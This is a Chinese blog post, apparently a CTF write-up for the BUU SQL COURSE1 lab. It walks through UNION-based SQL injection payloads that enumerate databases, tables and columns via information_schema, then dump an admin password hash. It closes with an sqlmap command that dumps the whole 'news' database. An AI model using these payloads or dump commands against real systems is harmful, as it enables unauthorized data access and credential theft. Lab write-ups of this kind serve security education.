当前位置:网站首页>[Writeup]BUU SQL COURSE1[入门级]
[Writeup]BUU SQL COURSE1[入门级]
2022-06-12 14:18:00 【_小飒】
观察网址,好像找到注入点
http://70e2a79f-6017-4286-b07f-1729220b2c7d.node4.buuoj.cn:81/#/content/-1 union select 1,2
/-1 union select 1,(
select group_concat(schema_name) from information_schema.schemata
)
获得数据库
ctftraining
获得表名
-1 union select 1,(
select group_concat(table_name) from information_schema.tables where table_schema="ctftraining"
)
FLAG_TABLE
获得列名
-1 union select 1,(
select group_concat(column_name) from information_schema.columns where table_schema="ctftraining" and table_name='FLAG_TABLE'
)
FLAG_COLUMN
获得数据时发现数据是空的,只能想另外办法
看能不能登录
news的数据库下找到 admin的密码:67fef29ef7beb75f567587f135fa26a0
获得flag
payload:
-1 union select 1,(
select group_concat(password) from news.admin
)

使用sqlmap
burp里直接可以找到注入点

python sqlmap -u url -D ”news” --dump-a
边栏推荐
- Reverse order of Excel
- Xshell (I) is missing mfc110u DLL file resolution
- For cross-border e-commerce, the bidding strategy focusing more on revenue - Google SEM
- Socket model of punctual atom stm32f429 core board
- How to set, reset and reverse bit
- Mobileone: the mobile terminal only needs 1ms of high-performance backbone. You deserve it!
- 3. Process concealment under the ring ----- continuous concealment and new opening prevention
- QT to realize the simple use of SQLite database
- Redis core configuration and advanced data types
- Player practice 15 xdemux and avcodecparameters
猜你喜欢

Program analysis and Optimization - 6 loop optimization

Redis核心配置和高级数据类型

WinDbg preview debug analysis createtoolhelp32snapshot

Implementation and debug of process hiding under x64

面向优化科学研究领域的软件包

PMP敏捷知识点

Player actual combat 16 xdecode class

Conversion of player's actual 10 pixel format and size

Leetcode 2176. 统计数组中相等且可以被整除的数对

Machine learning learning notes
随机推荐
Pay attention to click and pursue more users to enter the website. What bidding strategy can you choose?
QT link error: undefined reference to VTable for "XXX“
SystemC simulation scheduling mechanism
Vs2012: cannot assign a value of type 'char *' to an entity of type 'lpwstr'
Copy word content to excel and automatically divide it into multiple columns
IAT hook hijacking process API call
Player practice 26 adding slider and window maximization
Postgresql14 installation and use tutorial
The difference between parameter and argument in C language
Tu oses le croire? Il m'a fallu deux jours pour développer un système de gestion.
Tcp/ip network communication knowledge record
C secret arts script Chapter 2 (detailed explanation of pointer) (Section 2)
Word insert picture blocked by text
String concatenation and ternary operators
PMP agile knowledge points
C语言中主函数调用另外一个函数,汇编代码理解
Player practice 15 xdemux and avcodecparameters
Two methods of QT using threads
QT database realizes page turning function
Unhandled exception stack overflow